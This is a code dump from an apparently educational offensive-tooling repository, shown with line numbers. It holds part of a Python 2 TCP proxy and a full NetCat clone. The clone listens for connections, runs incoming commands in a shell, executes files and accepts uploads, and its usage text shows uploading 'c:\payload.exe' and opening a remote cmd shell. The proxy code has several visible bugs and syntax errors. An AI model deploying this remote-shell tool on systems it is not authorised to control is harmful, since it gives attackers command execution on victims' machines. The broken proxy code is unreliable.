proxy_handler(c_socket, R_host, R_port, rcv_1st): #connect to the remote host 28 | R_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 29 | R_socket.connect((R_host, R_port)) 30 | if rcv_1st: #receive data from the remote end if necessary 31 | remove_buffer = rcv_from(R_socket) 32 | hexdump(R_buffer) 33 | R_buffer = response_handler(R_buffer) #send it to our response proxy_handler 34 | if len(R_buffer): #Sends data to the local client if available 35 | print "[<==] Sending %d bytes to L_host." % len(R_buffer) 36 | c_socket.send(R_buffer) 37 | while True: 38 | local_buffer = rcv_from(c_socket) #read from local host 39 | if len(local_buffer): 40 | print "[==>] Received %d bytes from L_host." % len(local_buffer) 41 | hexdump(local_buffer) 42 | local_buffer = req_hadnler(local_buffer) #send it to our request handler 43 | local_buffer = req_handler #Send it to our request handler 44 | R_socket.send(local_buffer) #send off the data to the remote host 45 | print "[==>] Sent to remote." 46 | R_buffer = rcv_from(R_socket) #receive back the response 47 | if len(R_buffer): 48 | print "[<==] Received %d bytes from remote." % len(R_buffer) 49 | hexdump(R_buffer) 50 | c_socket.send(R_buffer) #send the response to the local socket 51 | print "[<==] Sent to L_host." 52 | if not len(local_buffer) or not len(R_buffer): #if no more data on either side, close the connection 53 | c_socket.close() 54 | R_socket.close() 55 | print "[*] No more data. Closing connections." 56 | break 57 | 58 | def hexdump(src, length=16): #hex dumping function from http://goo.gl/3LMHPj 59 | result = [] 60 | digits = 4 if isinstance(src, unicode) else 2 61 | for i in xrange(o, len(src), length): 62 | s = src [i:i+length] 63 | hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s]) 64 | text = b' '.join([x if 0x20 <= ord(x) < 0x7f else b'.' for x in s]) 65 | result.append(b"%0*4X %-*s %s" (i, length*(digits + 1), hexa, text) ) 66 | print b'\n'.join(result) 67 | 68 | def rcv_from(connection): 69 | buffer = "" 70 | connection.settimeout(2) #Two second timeout. Adjust accordingly 71 | try: 72 | while True: #keep reading into the buffer until there's no more data or it times out. 73 | data = connection.recv(4096) 74 | if not data: 75 | break 76 | buffer += data 77 | except: 78 | pass 79 | return buffer 80 | 81 | def req_handler(buffer): #modify packets destined for the next remote host 82 | return buffer 83 | 84 | def response_handler(buffer): #modify packets destined for the local host 85 | return buffer 86 | 87 | def main(): 88 | if len(sys.argv[1:]) != 5: #no fancy command-line parsing here 89 | usage() 90 | sys.exit(0) 91 | L_host = sys.argv[1] #setup local listening parameters 92 | L_port = int(sys.argv[2]) 93 | R_host = sys.argv[3] #setup remote target 94 | R_port = sys.argv[4] 95 | rcv_1st = sys.argv[5] #this tells our proxy to connect and receive data before sending to the remote host 96 | if "True" in rcv_1st 97 | rcv_1st = True 98 | else: 99 | rcv_1st = False 100 | srv_loop(L_host, L_port, R_host, R_port, rcv_1st) #now spin up our listening socket 101 | 102 | if __name__ = "__main__": 103 | main() -------------------------------------------------------------------------------- /NetCat.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys,socket,getopt,threading,subprocess 3 | listen = False 4 | command = False 5 | upload = False 6 | execute = "" 7 | target = "" 8 | upload_dest = "" 9 | port = 0 10 | 11 | def banner(): 12 | print "[***] NetCat p19 [***]" 13 | print "" 14 | 15 | def usage(): 16 | print " python NetCat.py -t target_host -p port " 17 | print "-l --Listen on [host]:[port] for incoming connections " 18 | print "-e --execute = file_to_run -execute a file " 19 | print "-c --command -initialize a command shell " 20 | print "-u --upload = destination -upload a file " 21 | print "-t --target -p --port " 22 | print "NetCat.py -t -p 5555 -l -u=c:\\payload.exe " 23 | print "echo 'ABCDEFGHI' | ./NetCat.py -t 192.168.11.12 -p 135 " 24 | print "./NetCat.py -l -p (listens on a port) " 25 | print "./NetCat.py -t -p 9001 -c (CTRL+D opens cmd shell) " 26 | print "Press 'CTRL+D' to initalize shell after connecting " 27 | 28 | def run_command(command): #trim the newline 29 | command = command.rstrip() #run the command and get the output back 30 | try: 31 | output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell = True) 32 | except: 33 | output = "Failed to execute command.\r\n" 34 | return output #send output to the client 35 | 36 | def client_handler(client_socket): 37 | global upload 38 | global execute 39 | global command 40 | if len(upload_dest): #check for upload 41 | file_buffer = "" #read in all of the bytes and write to our destination 42 | while True: #keep reading data until none is available 43 | data = client_socket.recv(1024) 44 | if not data: 45 | break 46 | else: 47 | file_buffer += data #now we take these bytes and try to write them out 48 | try: 49 | file_descriptor = open(upload_dest,"wb") 50 | file_descriptor.write(file_buffer) 51 | file_descriptor.close() 52 | client_socket.send("Woohoo! File saved to %s\r\n" % upload_dest) 53 | except: 54 | client_socket.send("You suck! Your file didn't copy to %s\r\n" % upload_dest) 55 | if len(execute): #click for command execution 56 | output = run_command(execute) #run the command 57 | client_socket.send(output) 58 | if command: #going into a loop if a command shell was requested 59 | while True: 60 | prompt = " " 61 | client_socket.send(prompt) 62 | cmd_buffer = "" #now we receive until we ses a linefeed(enter key) 63 | while "\n" not in cmd_buffer: 64 | cmd_buffer += client_socket.recv(1024) 65 | response = run_command(cmd_buffer) #send back the command output 66 | client_socket.send(response) #send back the response 67 | 68 | def server_loop(): 69 | global target 70 | global port 71 | if not len(target): #if no target is defined, we listen on all interfaces 72 | target = "0.0.0.0" 73 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 74 | server.bind((target,port)) 75 | server.listen(5) 76 | while True: 77 | client_socket, addr = server.accept() #spin off a thread to handle our new client 78 | client_thread = threading.Thread(target=client_handler, args=(client_socket,)) 79 | client_thread.start() 80 | 81 | def client_sender(buffer): 82 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 83 | try: 84 | client.connect((target, port)) #connect to our target host 85 | if len(buffer): 86 | client.send(buffer) 87 | while True: #Wait for the data back 88 | recv_len = 1 89 | response = "" 90 | while recv_len: 91 | data = client.recv(4096) 92 | recv_len = len(data) 93 | response+= data 94 | if recv_len < 4096: 95 | break 96 | print response, 97 | buffer = raw_input("") #wait for more input 98 | buffer += "\n" 99 | client.send(buffer) #send it off 100 | except: 101 | print "[*] Exception! Exiting." 102 | client.close() #tear down the connection 103 | 104 | def main(): 105 | banner() 106 | global listen 107 | global port 108 | global execute 109 | global command 110 | global upload_dest 111 | global target 112 | if not len(sys.argv[1:]): 113 | usage() 114 | try: #reads command line options 115 | opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", 116 | ["help","listen","execute","target","port","command","upload"]) 117 | except getopt.GetoptError as err: 118 | print str(err) 119 | usage() 120 | for o,a in opts: #command options 121 | if o in ("-h", "--help"): 122 | usage() 123 | elif o in ("-l", "--listen"): 124 | listen = True 125 | elif o in ("-e", "--execute"): 126 | execute = a 127 | elif o in ("-c", "--commandshell"): 128 | command = True 129 | elif o in ("-u", "--upload"): 130 | upload_dest = a 131 | elif o in ("-t", "--target"): 132 | target = a 133 | elif o in ("-p", "--port"): 134 | port = int(a) 135 | else: 136 | assert False, "Unhandled Option" 137 | 138 | if not listen and len(target) and port > 0: #listen or just send data from input 139 | buffer = sys.stdin.read() 140 | client_sender(buffer) 141 | if listen: 142 | server_loop() 143 | if __name__ == "__main__": 144 | main() 145 | --------------------------------------------------------------------------------